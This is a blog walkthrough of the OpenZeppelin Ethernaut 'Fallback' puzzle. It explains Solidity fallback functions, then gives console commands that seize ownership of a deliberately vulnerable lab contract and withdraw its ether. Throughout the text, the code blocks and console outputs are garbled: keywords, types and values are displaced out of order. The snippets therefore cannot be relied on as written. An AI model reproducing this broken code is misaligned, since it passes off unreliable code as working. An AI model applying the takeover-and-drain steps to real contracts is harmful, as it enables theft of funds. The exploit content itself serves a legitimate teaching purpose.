This is an in-depth series of Blogs around OpenZeppelin's smart contract security puzzles. The aim of blogs is to provide a detailed explanation regarding various concepts of Solidity and EVM required to solve a Puzzle. It is highly recommended to attempt to solve these puzzles before reading further. Level 1: Fallback The code for the smart contract provided is : The aim of the task is to : Claim Ownership of contract Reduce Balance of Contract to Zero. Following Concepts are Used to Solve this puzzle: Fallback Function: A fallback function in Solidity is a function which receives no parameters, returns no value and must have visibility. A fallback function is executed if : external There is no data is supplied. No Function signature matches other functions. There is no receive ether function defined. For Example, consider following Smart contract: solidity >= .0 < .0; contract FallbackContract{ fallbackExecuted; fallback() external payable{ fallbackExecuted = ; } resetFallBackExecuted() { fallbackExecuted = ; } } pragma 0.5 0.8 bool public true function public false You can deploy this contract in remix to see how a fallback function is executed. 1. If no data is supplied: In Remix, when you deploy a contract, you can see a Low Level Interaction. In Calldata, leave it blank and click "Transact". Make sure fallbackExecuted is false before calling transact. If it is not, call resetFallBackExecuted(). On pressing "Transact", you can see that fallbackExecuted is true which indicates that fallback function was executed. 2. If function signature doesn't match other function call: In Calldata, put some arbitrary hex value (say 0x0001). You can see that fallback function is executed. 3. There is no receive Ether function: Try sending some ethers to the contract. You can see that fallback function is executed. Note that fallback function must be payable to receive ethers. To define a Fallback function for Solidity version 0.5.x { ... } ( ) [ ] function external payable //code Let's Solve the Puzzle: Analyzing the code : So, we first need to claim ownership of the contract. Let's see the functions which we may change the owner of the contract. 1. function contribute() : contribute() payable { require(msg. < ether); contributions[msg.sender] += msg. ; (contributions[msg.sender] > contributions[ ]) { owner = msg.sender; } } function public value 0.001 value if owner As we can see, contribute() is a payable function, so we can send ethers when we call this function. Also, the value of ether we send must be less than 0.001 ether, the amount sent is stored in mapping named contributions. If a user contributes more ether than the owner, then ownership is transferred to the user. In constructor() of contract, we can see that contribution of the owner is set to 1000 ethers. This can be easily verified in Chrome's developer console. >owner = contract.owner() >contributions = contract.contributions(owner) BN { : , : ( ), : , : } length: negative: red: words: ( ) [ , , , empty] __proto__: >contributions.toString() await "0xD95B091f19946d6ef0c88f8CD360c0d6E408876E" await negative 0 words Array 4 length 3 red null 3 0 null 4 44040192 40595831 222044 Object "1000000000000000000000" The amount is displayed in Wei. So, we can solve this puzzle if we call contribute() until we transfer more than 1000 ether which will take too much time, so let's find some other way. 2. Fallback function : The fallback function in the code is: payable { require(msg. > && contributions[msg.sender] > ); owner = msg.sender; } function () external value 0 0 As we can see, if msg.value > 0 and contributions[msg.sender] > 0, owner of contract is changed to msg.sender!! We can use this function to claim ownership of the contract. 3. withdraw(): { owner.transfer(address( ).balance); } function withdraw () public onlyOwner this withdraw() simply transfer all ethers in the smart contract to owner. Solution: We will solve the puzzle using Dev Console, but it can also be solved using Remix IDE. First, let's call contribute() and contribute some ether to contract. In Dev Console, it can be done like this (make sure value is less than 0.001): > contract.contribute({ : toWei( )}) { : , : {…}, : ( )} await value "0.0005" tx "0x4af023ce197967d154596f2ee2073039a959fa51a3ebbb906d613c64a0531543" receipt logs Array 0 Now that we have made our contribution, we can call fallback function and claim ownership. > contract.sendTransaction({ : player, : contract.address, : toWei( ) }) await from to value "0.001" On successful transaction, check that you are the owner of the contract. > contract.owner() await "0x50c60736D6ff221eDA347A9465aA321ea6908fb7" Let's check the balance of the contract. > getBalance(contract.address) await "0.0015" We need to reduce this balance to zero. Call withdraw() to receive all ethers from the smart contract. > contract.withdraw() await Check the balance of Smart Contract, it should be zero. So, we have completed the requirements of the level. You should be able to successfully submit the instance. Conclusion: In this puzzle, we learnt how Ethers are transferred to and from the Smart contract, we also learnt about the fallback function.
